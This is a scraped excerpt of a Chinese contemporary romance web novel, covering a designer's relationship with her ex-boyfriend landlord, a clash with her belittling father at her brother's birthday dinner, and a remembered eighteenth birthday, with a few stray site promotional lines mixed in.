她心里发懵,问傅蔺征:【谢谢你的早餐,我冰箱里那些吃的怎么都不见了?】
几分钟后,那头回来信息,语气淡淡:【早晨睡醒太饿全吃了,你要介意我再给你买一份?】
还真是被他消灭的……
她当然不介意,而是那些都是临期食品,他不是昨天逛超市的时候还看不上吗?
她没好意思多问:【没有,没事。】
她低头看向盘中的沙拉,心旌微荡。
早晨容微月去工作室改稿,接到通知,下午有《霜雪吟》的剧本围读,她想来可以来。
容微月立刻应下,她想亲眼见到演员们,根据他们的肤色和气质再对饰品做细节优化。
下午两点多,主创团队陆陆续续进入会议室,容微月见到一个个明星们,和他们打招呼,有人对她态度平平,也有人很尊敬她的职业,但每个人在看她时,视线都不禁多停留几秒。
因为容微月太漂亮了。
她一身中式古典裙子,发簪流苏轻晃,五官高级又有辨识度,气质清冷明艳,甚至能吊打屋子里的明星了。
半晌会议室门再度被推开,身为美术指导的向安悦了走进来,她看到容微月,眼神微变,随后面不改色往里走。
容
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
微月淡淡收回目
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光,也没在意。
人到齐后,围读会开始,今天导演和编剧坐镇,傅蔺征并不在。
一个下午,容微月坐在角落默默做笔记,随着对故事角色的深入了解,灵感不断迸发。
结束后导演来问她:“容老师,今天听下来有收获吗?本来怕你无聊,没想到看到你听得还挺投入。”
容微月莞尔:“不无聊,收获颇丰,回去我又有了改稿想法,而且对这部剧越来越期待了。”
导演笑笑:“辛苦你了,你的设计我们很喜欢,向老师你说是吧?”
一旁的向安悦提唇:“是啊,我们看了都说好呢,特别期待成品。”
导演离开后,向安悦和容微月走在最后,前者看她:“微月,我听说了杜滨海的事,你还好吧?”
容微月面色淡淡,“没事了。”
“我听说是傅蔺征帮你出头的?”向安悦轻笑,“你们分手了关系还这么好啊?”
容微月不想给傅蔺征和自己招惹来流言蜚语,只淡淡出声:“他身为出品人,是不想影响这个项目的正常运转。”
向安悦莞尔:“也是,傅蔺征他是对事不对人,何况曾经你们在一起过,到底是有情分在的。”
走到电梯口,两人一个往下,一个往上。
向安悦看着电梯层数,感叹:“傅蔺征高中的时候喜欢他的女孩子就很多,前两天还有朋友找我打听他有没有女朋友,我觉得傅蔺征这样的,起码是有钱有颜的富家千金才配得上吧,我就让我朋友赶紧死心,一般人别想觊觎,你说是吧,微月?”
容微月对上向安悦的笑颜,几秒后淡笑问:“你说的朋友是你吗?和你挺像的。”
“……”向安悦脸色僵住,干笑找补,“怎么可能啊,我又不喜欢他。”
电梯门打开,容微月没搭理她,直接进去。
向安悦想到之前傅蔺征对她冷淡的态度,气成河豚。
电梯里,容微月后面站着两个助理,正在交谈:
“我下楼去拿咖啡和点心,那位盛家千金来了。”
“等小傅总的?”
“是啊,来好几次了,长得真漂亮,皮肤又白,今天提了个限量款鳄鱼皮爱马仕,听说家里做航空的,挺有钱的。”
“门当户对的好般配啊,董事长最操心小傅总的终身大事了,估计各种给他安排着……”
到达一层,电梯门打开,容微月回过神,抬睫走了出去。
驱车离开,傍晚天边泛着淡蓝色的晚霞,容微月开着车,耳边不断回荡着所听到的,心底泛开涟漪。
她想起高中时,傅蔺征就是活在人群的焦点中,意气风发,不可一世。
升高三的那个暑假
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他基本都在国外飞八月刚在F3青少年组拿了冠军正式开学时学校里好多人慕名蜂拥而去找和他合影。
那天升国旗傅蔺征身为优秀学生发言讲述学习心得教导主任知道他都不准备把稿子递给倚着墙的傅蔺征再三嘱咐:“按稿念啊!不许自由发挥听到没!”
“昂”少年接过笑得吊儿郎当“老张您放心我肯定带来一场发人深省的演讲。”
“?”
教导主任眼皮一跳突感大事不妙。
果然傅蔺征走上台时台下学生就看到他慢条斯理折起稿子拽懒开口:“大家时间宝贵这些废话我就不念了。”
少年一身白衬衫校裤宽肩窄腰痞帅感拉满学生们见此轰动鼓掌:
“征哥就是征哥又一次脱稿!”
“完了我能想象到教导主任气晕过去的脸了哈哈哈哈……”
傅蔺征没管后台教导主任的叫声懒笑开口:“主任让我给大家说说学习方法不好意思啊我成绩一般主要是没时间读书比赛拿奖都来不及了这世界上也不能什么好处都让我占了吧对其他人也不太公平了。”
底下一片笑声说他还是那么骚包傅蔺征收了几分臭屁语调正经:“但我知道的是这个世界上不管是学习还是赛车没有不付代价的成功。”
“你想要成绩好就得熬得住学习的苦就像我在车场和模拟器里训练个千百遍累到满身是汗精疲力尽就为了提高比赛中的那零点几秒。”
傅蔺征抬起眼看向操场上一个个面庞:
“但我觉得也不是所有人都要走一样的路。”
“你可以拼命读书冲刺985、211也可以选一条没什么人走的路勇往直前最怕的是你什么都不选又什么都想要到最后反过来怪这个世界不公平。”
傅蔺征勾起唇角:“我希望这辈子能让你们骄傲的的是做过我傅蔺征的校友但我更希望这不是你们此生最大的骄傲。”
“所以高三时间很宝贵书要好好读遇到喜欢的人可以追关于未来的梦大胆做。”
灿烂日光下少年把手中的稿子随手折成纸飞机手腕一甩飞向空中桀骜勾起唇角:
“因为我们都年轻
他声音在操场回荡迎来山呼海啸般的欢呼:
“征爷也太牛逼了吧!”
“帅**敢在国旗下说谈恋爱的也就他一个人了!”
那天的阳光很刺眼容微月在人群中看着台上的少年从来没想到有人能这么高调张扬肆无忌惮。
从那时到现在
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,傅蔺征仍旧是那个肆意的他。
突然间,他也在想,傅蔺征如今会喜欢什么样的女生呢?
他走得更高更远,见过更大的世界,身边也有更多优秀的女孩,他的眼光肯定和十八岁时不一样了。
喜欢的标准有千万种,但在外人眼中只有那些千金小姐才能配得上他,绝不会是曾经的她。
她能感觉到傅蔺征现在对她很好,好到让她越来越控制自己的思绪,可她怕一切都是自己一厢情愿,怕他只是出于室友的情意,怕那些他对她特殊的瞬间,是曾经感情的惯性余留,或是男女靠近时自然而然会有的荷尔蒙碰撞。
她不知道自己可以去幻想吗。
哪怕曾经是她先松开手,也会有人能跨越过六年光阴,继续喜欢着并不特别的她吗……
窗外天色将暗,她眼神慢慢黯淡下去。
淡淡的苦涩如海水,一点点漫过心口。
一个小时后,她回到禾盛庭,手机备忘录弹出要交房租的提醒。
她给傅蔺征微信转账,而后去给呼呼弄了晚饭,自己也简单吃了点。
饭后,她去把阳台的衣服全部收下来。
前几天她看到了上个月的水电费和物业费,价格不低,但是傅蔺征一分都没让她出,既然不能交钱,那她还是多做点家务,不能欠他太多。
她收完衣服,走去客厅,到处乱乱的,地上散落各样玩具,她揉揉呼呼的头:“宝贝,你可真是个拆家大王。
她清洁着,半晌没留意呼呼什么时候窜到了她脚边,一后退就传来它的惊叫。
她连忙往旁边一撤,手里的拖地机却磕上了靠近玄关的装饰架。
“砰——!
装饰架上的一个错金银铜奔马直接砸落在地,四分五裂,伴随她脚腕传来刺痛。
呼呼吓得跑走,她耳边刺耳,带着脑袋懵懵。
看着一地碎片,她人傻了。
完了完了,她怎么回事……
满目狼藉,几块锋利的铜棱划伤她脚踝,血珠冒了出来,她顾不上,慌得立刻蹲下身去捡。
她记得小时候,她有次和弟弟姐姐打闹时,不小心打碎了母亲的一个茶壶,赶忙去捡,父亲闻声走来,斥责她净惹事儿,“这茶壶是太奶奶遗传下来的,你知不知道值多少钱?
她愧疚眼红,后来父亲罚她去面壁,家里开饭时她也不敢过去,最后是母亲和姐姐过来带她去吃饭。
容微月捡着青铜碎片,心头惴惴不安,拿出手机去查,就发现这种铜奔马正品的拍卖市场价在两百多万,傅蔺征家的估计只会更贵。
她眼前一黑,感觉天塌了。
完了,把工作室卖了都赔不起啊……
她还努力省
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
第 26 章 “傅蔺征,你抱一抱我好不好。”...
第26章第二十六章
【“傅蔺征,你抱一抱我好不好。”】
chapter26
听到傅蔺征的话,容微月垂着的眼睫颤抖,心口宛若冲过一道热流,说不出来的酸软发胀。
她像是一只小刺猬,独自在寒风凛冽的冬夜里,浑身冻得通红,努力蜷缩着小小的身体保护自己,可突然一只温热的手掌将她小心翼翼托起,包进毛毯里,驱赶一切的寒意。
刚才她摔了青铜马时,想到小时候的经历,下意识很害怕,不知道傅蔺征会不会生气责怪,或者有些烦躁,虽然他并不缺钱。
可他在意的点似乎根本就不在马上。
他先是给她上药,而后说她不用做家务,让她先照顾好自己。
仿佛她根本不是这个房子的租客,而是主人……
为什么,他总是对她这么好呢……
容微月应了声,指尖攥着抱枕,心头柔软一片。
过了会儿涂完药,傅蔺征道:“伤口先别碰水。”
“嗯,谢谢……”
容微月情绪缓了许多,欲下来沙发,傅蔺征拧眉拦住:“又要去哪儿?”
“碎片还没收拾……”
他无奈把她拎回沙发,“老老实实坐着,我来弄。”
她懵然,就见傅蔺征拿着扫把去打扫,压根不让她插手。
弄完,傅蔺征过来问:“晚饭吃了么?”
“刚才随便吃了点……”
“再吃点?我买了排骨,煮个排骨汤,再来个凉拌青菜,再煎个牛肉。”
挺好,终于不吃意面了……
她抿唇点头,“你弄得来吗?我帮你?”
傅蔺征拽懒道:“这不是很简单,不过你想和我多待会儿呢也不是不行,不用装。”
“……”
容微月心头被轻轻一敲,咕哝没说话。
她好像真的挺想和他多待在一起,无论是高中还是现在,好像一靠近他,她心情就会好了。
跟他去到厨房,她问自己要做什么,傅蔺征让她坐在料理台前,撩起冲锋衣衣袖去洗水果,“大厨做饭,你添什么乱?”
就他还大厨呢……
傅蔺征把东西装在盘里:“水果和奶油泡芙买多了,你负责先尝尝,但别吃多了,等会儿正餐吃不下。”
“哦……”
容微月看到面前摆来的水果和餐点,感觉自己像个幼儿园回家的小朋友,先吃点小零食,然后在一旁乖乖等开饭,就差脖子上戴个小围兜了。
傅蔺征处理着食材,容微月想到傍晚在明恒电梯里听到的,故作随意道:“我以为你今晚有事情,就没回来吃饭了,我刚刚就和呼呼先吃了。”
男人抬眼看她
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:“我有什么事。”
“就……比如临时有个饭局什么的。”
傅蔺征洗着排骨慵懒揶揄:“你见我有那个闲工夫?老子连轴转了一天
“……”
心思被戳破容微月脸颊微热又不禁诧异所以他没有见那个千金小姐吗……
曾经霓音对她说的那句傅蔺征从来不见任何女孩子的话再度浮现脑中心口酥麻让她不敢再往下想。
迟些时候傅蔺征弄完晚饭容微月本来只喝了点酸奶和坚果没想到又吃上了热乎乎的饭。
饭后傅蔺征道:“今晚有家政阿姨来定期扫除你有特别要求和她提。”
每周家政都会定时上门容微月忘记了日期发现果然是白打扫了。
过了会儿家政团队来了傅蔺征之前房子的打扫都是联系他们但是每次来的人会随机搭配几个阿姨都认识傅蔺征:“傅先生晚上好。”
又看到容微月眼睛微亮含笑颔首:“傅太太好。”
容微月:???
阿姨笑:“那我们先打扫哪里?”
容微月脸热欲说话却见身旁男人慵懒嗓音落下:“先客厅吧。”
“好的。”
不是这人怎么不解释……
几人开始清洁后来到容微月的卧室家政人员帮忙换上新的四件套后用机器在被子上来回滚动。
她好奇问这机器功能阿姨笑笑:“这是高温除螨杀菌的傅先生之前特意交代的他说您皮肤容易过敏泛红起疹子所有的四件套材质都要换成无荧光棉的消毒一定要彻底。”
容微月呆了呆。
这些他竟然都还记得……
阿姨还拿出瓶香氛:“上次来的时候您的房间他特意交代要仔细清理说您喜欢淡淡的青橘的味道我们就去买了这个。”
容微月闻到空气中好闻的香味心河掀起涟漪最后打扫完阿姨问:“太太您看还有什么需要吗?”
“很干净了谢谢不过您误会了我就是这里的租客而已。”
阿姨怔了怔含笑道歉:“不好意思这是第一次看到傅先生家有女孩子呢他又对您那么上心我们就误会了。”
她呆住。
第一次之前没有过别人吗……
晚上家政团队离开后傅蔺征去处理公事容微月也在房间继续加班迟些时候她洗完澡坐到床边手机微信里弹出条提示信息是傅蔺征收了她的房租却没多说什么。
第二天晚上下班回家她想去琴房练琴推门一看却看到里头摆了个陌生的机
你的朋友正在书荒,快去帮帮他吧
器设备。
走近一看,是台崭新的空气净化器。
机身是银白色,静音运转着,空气里隐隐飘浮着淡淡花香。
一查价格,她吓了一跳。
一头雾水去问傅蔺征,男人靠在沙发上看手机,头也没抬:“刚好打折促销买了两台,我自己房里放一个,剩下那台就随便放你那儿吧。”
她愣了愣,“谢谢……”
刚好最近琴房因为新添的软装有点味道,净化器一开,空气就清爽了许多。
晚上她和殷绿打电话聊天,殷绿得知此事,坏笑调侃:“怎么感觉这净化器就是傅蔺征为你买的呢?好家伙,你刚给了三千多的房租,他转手给你买了个过万的净化器,我为什么没有这种人傻钱多的前男友房东啊!”
容微月无奈笑,“你可正谈着呢。”
“唉,感觉谈了跟没谈一样,他每天都好忙,对我也没有之前那么好。”
殷绿和她吐槽了几句男朋友,又把话题拐回来:“向安悦的话你别当真,她算个锤子,不就是嫉妒你吗,反正我感觉傅蔺征对你不一样,他要不喜欢你,我直接跳进粪坑。”
“……”这倒也不必如此信誓旦旦。
“你之前说他高中追你是因为赌注,但是宝你仔细想想,什么赌注能让他赌个七八年啊?征服欲再大,过了这么多年也总该冷静下来了吧?说不好听点,他就不能去征服其他女人?”
容微月闻言语噎,殷绿柔声言:“有句话你有没有听过,‘爱情就像薛定谔的猫,当你非要停下来去审视它的时候,你可能就发现它不再是爱情了’,既然你不懂傅蔺征对你好到底是因为什么,那就别去分辨,先享受就好了。”
殷绿感叹:“我要天天和这样一个超级大帅哥住在一起,他照顾我宠着我,我都乐**,我的美色随便贪图,只要不是贪图我的钱!”
容微月绷不住笑:“殷老师,你能不能有点人民教师的样子?”
“得了,我现在每天都累得不像个人……”
两人聊了许久,最后挂断电话,容微月把脸盖在被子里,脑中不断回荡着殷绿的那些话,思绪纷飞。
所以先尝试享受吗……
胡思乱想了许久,又是到好迟才睡着。
第二天醒来,她去到工作室赶稿。
如今她也没什么其他心思,把《霜雪吟》的饰品终稿定下来才是最大任务。
她泡了杯黑咖啡,正要投入工作,忽而手机却突然响起,平静中格外突兀。
她低头一看——
是母亲盛柳的电话。
最近太忙,她有一个月快没回家了。
容微月神色顿了顿,接起电话,盛柳温柔的嗓音传来,“月月,醒
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来了吗?”
“嗯,我都到工作室了。”
“最近怎么这么忙啊,好久都没回来吃饭了,今天是新旭生日,今晚我们一家四口在家里给你弟弟过个生日怎么样?”
容微月愣了愣,忙到都忘记了这日子,盛柳唠叨她:“你都多久不回家了,你爸都不开心了,答应我今晚回来行吗?”
容微月敛了敛睫,几秒后低淡开口:
“我知道了。”
忙完一天工作,傍晚她离开工作室,开车去往市中心,先去了趟商场。
路上傅蔺征打来电话,她接起,男人漫不经心的低磁声音传来:“什么时候下班?我朋友新店开业,叫我过去给点意见,是家新派湘菜,我刚好开车路过你工作室,捎上你?”
“不了,我今晚有事,你自己吃吧。”
“要加班?”
“没有,”红灯前停下,她低头喝着冰水,“我回家吃饭,给我弟过生日。”
安静了几秒,傅蔺征懒声启唇:“哦,知道了。”
半小时后,车子停在市区一个独栋别墅前。
前院在打理花草的保姆看到她,笑着迎来,“月月终于回来了。”
她淡笑应,保姆接过她手中的东西,容微月走进家门,室内照例回荡着悠扬婉转的昆曲声。
盛柳是位昆曲艺术家,在京市开了家昆曲馆。
正在厨房忙碌的盛柳看到她立刻关掉广播,欢喜走过来:“刚才打你电话没接,就知道你在路上了,冷不冷啊?怎么衣服穿这么少。”
“没事不冷……”
“看过去瘦了一圈啊,最近很辛苦?”
容微月说还好,走到客厅,她把给盛柳买的羊毛衫和羽绒服拿给她,盛柳让她把钱省得给自己花,“你照顾好自己妈妈就放心了,你肯定瘦了,脸都小了一圈,周末你住在家里,我给你好好补补。”
容微月跟着盛柳去厨房,里头厨师忙碌着,盛柳也忙活了一下午,“新旭应该快从学校回来了,我今天特意去市场买了他爱吃的帝王蟹和皮皮虾,做个避风塘再来个辣炒,怎么样?”
容微月愣了愣,点头:“嗯,挺好的。”
盛柳突然反应过来,“妈妈忘记你海鲜过敏了,我赶紧让厨房再加两道菜,但是我今天煮了乌鸡莲子汤,你以前也很爱喝的。”
容微月提唇:“没关系,新旭过生日,煮他喜欢吃的就好。”
盛柳笑着拉她往外走,“你弟最近去参加什么市篮球联赛,挺辛苦的,所以今晚给他做个大餐犒劳一下,他也两周没回家了,但是经常给我打视频汇报情况,不像你,十天半个月都没一条信息。”
容微月低头红唇轻抿,“我前段时间和一个剧组签约
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了,一直在赶稿,妈你身体怎么样?”
厨房传来声音:“太太,这个皮皮虾直接煮吗?”
盛柳扭头应了声:“新旭喜欢吃椒盐的,你放着我来做……”
盛柳说等会儿再聊,赶去了厨房。
容微月敛了敛神,抬眼在家里转了圈,发现家里添了许多家具和装饰,客厅墙上的装饰画也换成了抽象派,她小时候最喜欢的那幅花卉水彩被取下了,后院里,她之前亲手布置的一个藤蔓架如今已经生了锈,被挪到了角落,架子上堆着旧报纸和一些闲置的花盆。
她起身走去了自己的卧室。
推开门进去,夕阳的光映照尘埃在空气中浮动,房间里还保留着高中时的样子,她的旧书包挂在桌旁,一摞摞教材放在收纳箱里,书桌上还贴着高三的复习计划和课程表。
桌上的日历,还停留在高三那年。
她转头走到阳台,外面摆着两个秋千椅,这是曾经她和姐姐容思晴一人一个的。
小时候夏天她们吃完饭就会坐在这里一起吃巧乐兹,每次她都吃得很快,容思晴就会把自己剩下的脆皮甜筒给她,笑说她是小花猫。
如今,秋千椅上只剩下她一个。
容思晴在高中时因为得了心肌炎,因病去世了,那时候容微月才上初中,却永远没有了姐姐。
心底刺痛泛起,容微月眼眶微涩,忽而身后传来男声:“姐——”
她转头看到一个高个子的男生走进来,模样阳光帅气,笑容满满:“姐,找你半天了,你在这里啊。”
容新旭比她小五岁,如今在京市某个大学念大一,他含笑走到她面前:“妈说你今晚有回来,我本来和兄弟们一起过生日的,立刻就推了,必须回来和你吃饭。”
容新旭性子从小活泼开朗,和她完全相反,容微月弯起红唇看他:“又长高了,彻底要仰脖子看你了。”
容新旭笑得露出两颗虎牙:“姐你也漂亮了啊,但是你现在也太瘦了,你要多吃点,女孩子不能老是减肥。”
“我没有减肥……”
容新旭拉着她走下楼,门口传来容承业的声音,容新旭叫了声:“爸,姐回来了!”
容微月对上容承业的目光,很快偏开眼,容承业脸上也笑意散了几分,轻哼:“现在成稀客了啊,一年到头看不到几次,还以为你都忘记家在哪儿了。”
容新旭无奈:“爸,姐好不容易回来你就别唠叨她了,对了我生日礼物呢?”
容承业把手里的袋子给他:“臭小子,要礼物最积极。”
“天哪是我最爱的球鞋,谢谢老爸!老爸最好了!”
容新旭开心抱他,容承业笑着拍他肩膀,语气宠溺:“多大人了
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
,还和小时候一样。”
盛柳说菜做好了,叫他们上桌吃饭,容承业走过去,把手里买的东西提到厨房,和盛柳说:“这个水煮鱼月月爱吃,她学校门口的,你装出来到盘子里,还有这个糯米麻薯她也喜欢,饭后你拿给她吃。”
“好,你自己不给她?”
容承业睨她一眼,“我才不管她。”
四人坐到餐桌前,容承业说想喝点酒,盛柳笑:
“今天儿子生日,难得允许你放纵下,阿旭你去酒柜里,拿你爸最爱的那瓶。”
容新旭道:“好嘞,但不能像前一次宵夜喝那么多啊,我和妈照顾你一晚上。”
容承业笑:“那是意外,今天你们监督我,我肯定不多喝……”
容微月坐在桌前,默默去倒饮料。
保姆把蛋糕端上来,吹蜡烛许愿后四人动筷,容微月看到桌面上基本都是海鲜,盛柳道:“月月你吃鱼,你爸给你买的。”
她抬头看了眼容承业,对方脸色淡淡喝着酒,没看她,她垂眼应了声。
容新旭大快朵颐,容微月安静去舀乌鸡汤,盛柳给她夹菜:“月月,你要多吃点,周末妈给你好好补点身体,下周我昆曲馆没什么事,我去你那边,给你多做几天好吃的。”
容微月愣了愣,“我最近搬家了,和人合租,不太方便。”
“搬家?怎么突然搬家啊,你现在住哪儿啊?怎么还和人合租呢?”
“就……我工作室附近的一个小区。”
她不想说太多。
盛柳拧眉:“合租安不安全啊?男室友还是女室友啊?不能和男的合租的啊,有危险。”
容微月动了动唇,容新旭笑:“妈,只要人靠谱,男室友也挺好啊,同住一个屋檐下,说不定还能发展段感情呢,你俩不是天天催我姐谈恋爱?”
容承业敲了下容新旭脑袋:“胡说八道什么,异性同居被外人知道了像什么话?到时候说三道四,对女孩子清誉有影响!”
容新旭轻嗤:“爸你这就是老古板……”
“谈恋爱要正经谈,挑男朋友也得擦亮眼光,你以为随便拉个人回家就行?”
容承业喝了口酒,看向容微月:“我和你妈最近看中了一个男孩子,叫严怀,是我一个生意伙伴的儿子,国外读的硕士,马上回北京工作了,家里条件挺好,人也有礼貌,我把你的照片给他看了,他很满意,等他回国了你们就见面聊聊,满意了就尽快定下来。”
容微月心底顿生烦躁,皱眉:“你们给我介绍人不需要先问问我吗?我早就说了我不相亲。”
盛柳在一旁劝:“月月,爸妈不是逼你,那男孩子确实不错,先见见没坏处,就当认识个朋友嘛
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容承业看容微月这态度就生气:“你现在多大了,还在挑挑拣拣?你看看你林康叔叔的女儿,马上都生二胎了,张叔的女儿上个月也结婚了,你再拖下去,优秀的男孩子早就被人挑走了,你还不着急?!
“着急的是你,不是我。
容微月抬眼看他,语气冷中带刺:“你是为我考虑,还是想把我的婚姻当成你笼络生意的工具?
“容微月!!
容承业脸色一变,猛地撂下筷子,客厅气氛骤然一沉,“你就这么不识好歹是吧?!
容新旭:“爸你又来了……
盛柳也忙打圆场:“算了,月月有她自己的安排,先吃饭。
容承业看着容微月冷淡无澜的脸,气不打一处来:“让你谈恋爱结婚是为了你好,希望有个人照顾你,不至于一个人孤零零的,你搞得像我们天天害你,跟你仇人似的!你看看你现在做成什么事情了,一事无成!
容微月愣住,轻笑:“我一事无成?
“难道我说错了?央美不上,改志愿跑去中美,放弃那么好的前途,现在婚不结,娃不生,家也不回,放着家里的花丝厂子不管,自己去外面开什么工作室,到现在还和人合租!我从小到大花那么多钱栽培你,你说你做成过什么了?
“爸你怎么能这么说,容新旭着急,“姐很厉害啊,她现在自己创业,手下有几十号员工!
“创业?容承业嗤笑,“你以为这年头当个老板了不起啊?她那工作室没我在背后牵线搭桥早就倒闭了!你以为《霜雪吟》剧组干嘛和她合作?是我去找制片人一直给她背书,没背景没人脉,人家能选择你?!
容承业尖锐的讽刺像刀子扎在耳边,容微月心头如夏日暴晒的玻璃碎裂,蔓延出苦涩。
这样的话,从小到大她已经听过了太多次。
小时候她拼命努力读书,无论成绩再好,都换不来一句容承业的肯定,九十九分的卷子,他会骂她粗心懒惰,一百分的卷子,他会说不许骄傲,人外有人。
她喜欢小提琴,小学参加一个小提琴比赛因为太紧张弹错了,容承业就说她没有天赋,还是趁早放弃;她被逼着学花丝镶嵌,每周都要完成他布置的任务,在车间一关就是一天。
容承业从来不表扬她,他说她没有姐姐足够光芒万丈,又没有弟弟情商高会说话,她内向安静,心气又高,不人讨喜欢,这样的性子就需要好好磋磨,省得将来在社会上经受不起一点批评,承受不了任何挫折。
容微月私自把高考志愿改到了中国美院,容承业大发雷霆,让她滚出家里,后来祖母病逝,她想通了坚定走花丝镶嵌
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这条路,可哪怕到现在她拿过很多的奖,有了点小小的成就,在容承业眼中,她还是什么都不是。
容微月对这些话已然麻木,可此刻还是感觉密密麻麻的针刺进心口,再度撕开不断溃烂无法愈合的伤口。
她嗤笑了声,扯起唇角:“如果你这么看不起我,干嘛还让我回家?当没生过我不好吗?你不想要我这样的女儿,你以为我就想要你这样的父亲吗?
“你——!容承业脸色僵住。
容微月眼底冷若冰霜:“麻烦你以后别管我,我不需要你的背书,也不需要你牵线搭桥,看我工作室倒闭了你应该更开心啊?这样你就更找到理由羞辱我了不是吗?
盛柳连忙拉住容微月的手:“月月你不能这么说,你爸不是那个意思……
“怎么不是?她冷眼看向盛柳,“这些年他不就是这么想的?因为他投入在姐姐身上的大量心血打水漂了,现在只能把希望寄托在我这个备选上。
容承业气得摇头:“容微月,从小到大你就是这个样子,我真不知道你是随了谁的脾气那么倔,就没让我省过心,亏那么多人还夸你乖乖女,我看你哪乖了?半点听话都没有!
容微月眼底沉沉:“我凭什么要当乖乖女?我最讨厌的就是别人夸我乖,我从来都不是乖乖女,我高中早恋你不是知道吗?你趁早死心吧,我不会活成你喜欢的样子。
她拎起包往外走,盛柳要追出去,容承业怒道:“都别拦她!这家不欢迎她,让她走!!!
门重重关上,很快容新旭追出来,心慌拉住她:“姐你别走,爸喝了酒说话太冲,好不容易我们才吃顿饭,你还没有陪我吃生日蛋糕呢……
容微月垂眸淡笑:“他们很多年没有给我过生日了,生日蛋糕……我很久没有吃过了。
容新旭张了张嘴,却一句话也说不出来,容微月绷紧喉间,轻声开口:“我给你买了生日礼物在茶几上,是你喜欢的那款乐高。
她抬眼看他,拍了拍他肩膀:
“生日快乐,阿旭。
她转身走向车库。
半晌车子驶出别墅区,车水马龙汇聚成霓虹灯海,她往前开着,宛若独行在一条找不到归处的长街上,一路黑暗。
她打开车窗,冷风从窗外灌入,冰冷地吹在脸上。
她记得小时候姐姐的生日家里都会举办生日派对,父母会给她精心准备,把她打扮成公主的模样,邀请很多同学,而弟弟生日在冬天,他喜欢滑雪,之前父母经常会在他生日带他去世界各地滑雪。
然而她小时候有一年生日,攒着压岁钱,偷偷给自己买了一个喜欢的玻璃雪花水晶球,但是那天他
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们忘记了她的生日,她半期考只考了全班第五,容承业看到她的水晶球直接扔了,说她整天就知道贪玩,没把心思放在学习上。
那天她被罚在书房里抄试卷,没有蛋糕,没有公主裙,也没有生日礼物,是到第二天盛柳才记起来的,他们想给她补过,她却说不用了。
后来,她再也不喜欢过生日,因为她对这天没有了任何的期待,因为不值得纪念。
但唯一的例外,是高三那年。
她的十八岁生日是傅蔺征给她过的。
容微月的生日是十二月八号,当时傅蔺征正好在国外比赛,原计划为期三天的比赛,他凭借绝对的实力提前锁定胜局。
当时比赛地点与国内有时差,当地晚上结束比赛时,京市已经过了零点,赛后傅蔺征接受采访,最后记者问他是否有想对镜头前的观众们说的话。
傅蔺征一身蓝白色赛车服,身姿拓落帅气,漫不经心地勾了勾唇,低沉开口:
“今晚月色很美,那就祝今天所有生日的人,生日快乐吧。”
他抬起眉梢,鸭舌帽下的黑眸看向镜头,桀骜中泛着柔光,像是在注视着她:
“希望未来的你,每天都开心。”
第二天,京市落了雪,晚上容微月补完课离开学校,独自走在梧桐树下。
寒风袭来,雪扑簌而下,她走到一个十字路口边,撑着伞等红灯,冷得裹紧围巾,突然口袋里手机震动,她接起,就听傅蔺征低沉含笑的嗓音透过听筒传来:
“容微月,京市的雪下得很大。”
她怔愣间下意识抬头,就看到对面路灯氤氲的雪雾中,少年站着,手里拎着个青橘蛋糕,帽檐下炽热的眸望向她,慵懒勾起唇角,嗓音温柔:
“但没关系,航班没延误。”
“我回来了,月月,十八岁生日快乐。”
那个没有多少人珍视的日子,傅蔺征却格外珍视。
他说,十八岁是最重要的一次生日,他要陪在她身边,见证他的小月亮长大成人。
那是父母都不曾给过她的惊喜。
汽车在红灯前停下,容微月转头看到路边,只见一对父母牵着孩子,小女孩双手被父母抬起往前走动,小孩像飞起来的小鸟,三人欢声笑语不停。
她努力搜寻,发现这样的画面好像从未出现在她记忆里。
她甚至不记得,自己上一次在父母面前开怀大笑,是什么时候。
无论是本身是优秀到无可挑剔的姐姐,还是老来得子被宠爱长大的弟弟,他们都比她更讨喜。
她不管怎么学,都学不会。
一个小时后,她回到了禾盛庭。
打开家门,里头一片漆黑,只有远处的霓虹灯火透过落
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第 27 章 压在地毯上吻得更深...
第27章第二十七章
【压在地毯上吻得更深】
chapter27
小姑娘身材娇小胳膊环住男人脖颈像是一只小猫小心翼翼地蜷缩在他怀中努力汲取所有的温暖。
她身体轻得没多少分量柔顺的黑发扫过他颈侧傅蔺征看不见她的脸只有她身上青橘香味渗入鼻息烧起浑身的热度。
京市的十一月天冷地闭顶楼大平层没有开灯四周漆黑落地窗外的零星霓虹浅洒进来如同茫茫海岸上唯一的不冻港。
傅蔺征还没反应过来就被她抱住了一瞬间心脏宛若打来一场海啸浪涛砰訇灌入胸腔。
他没有听到她声音的不对劲。
以为和平时一样。
“容微月……”
傅蔺征喉结滚动低声唤她心脏怦怦跳动失了序。
这是重逢后她第一次主动靠近他。
傅蔺征的耳廓被她头发摩挲得发烫呼吸微沉收紧手臂故作淡定揶揄:
“怎么了这是我给你打包了好吃的你就感动到要投怀送抱了?”
容微月闷闷应了声一动不动的像团软乎乎的小绒球窝在他怀里傅蔺征揽紧她轻咳嗓音拽懒:
“行啊想抱就抱呗虽然说呢我脸皮薄但还算挺大方的偶尔给你占占便宜也不是不行。”
傅蔺征偏开眼压了压唇角弧度:“容微月反正你现在对我的心思明眼人都看得出来也不用装你下次忍不住想抱我或者想让我抱你就直说一般来说我都是会答应的。”
男人抬手小心翼翼揉着她脑袋生怕又把这只小猫吓跑自顾自语调悠然:“不过我很注重我的清白不明不白的身份不行你要是想多抱一会儿还是得就换个身份就比如女朋友什么的。”
等了半天见她不说话他默了默又道:“你要不换身份也行
容微月顿时收回手想抽身腰肢就被紧紧揽住傅蔺征将她箍在怀中嗓音沉哑:“去哪儿。”
容微月闷声咕哝:“我不抱了你黑心商家出来宰客。”
“……”
傅蔺征黑眸翻滚把她抱得更紧扯唇:“我还没说完你跑什么看在你是我室友的份上我就不收费了但是下次我得要回来你就当欠我一次了。”
容微月闷声道:“谢谢你傅蔺征你是个好人……”
傅蔺征轻嗤“少给老子发好人卡你以为我对谁都那么好?”
容微月的脸埋在他肩头声音低低哽咽:“没有人对我这么好了再也……再也没有了……”
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
傅蔺征一怔,此刻终于听出了她与往常不同带着明显哭腔的声音,感觉到了不对劲,立刻抬起她的脸,就看到小姑娘鼻尖通红,双眼像是下过雨的湖面,脸上挂着两条泪痕,不知道偷偷哭了多久,刺得人眼底一痛。
这是重逢以来,她第二次在他面前掉泪。
上一次是他开车太快让她难受了,这一次他竟然没有及时发现她的异样。
傅蔺征眼底一震,拧眉,“怎么哭了?
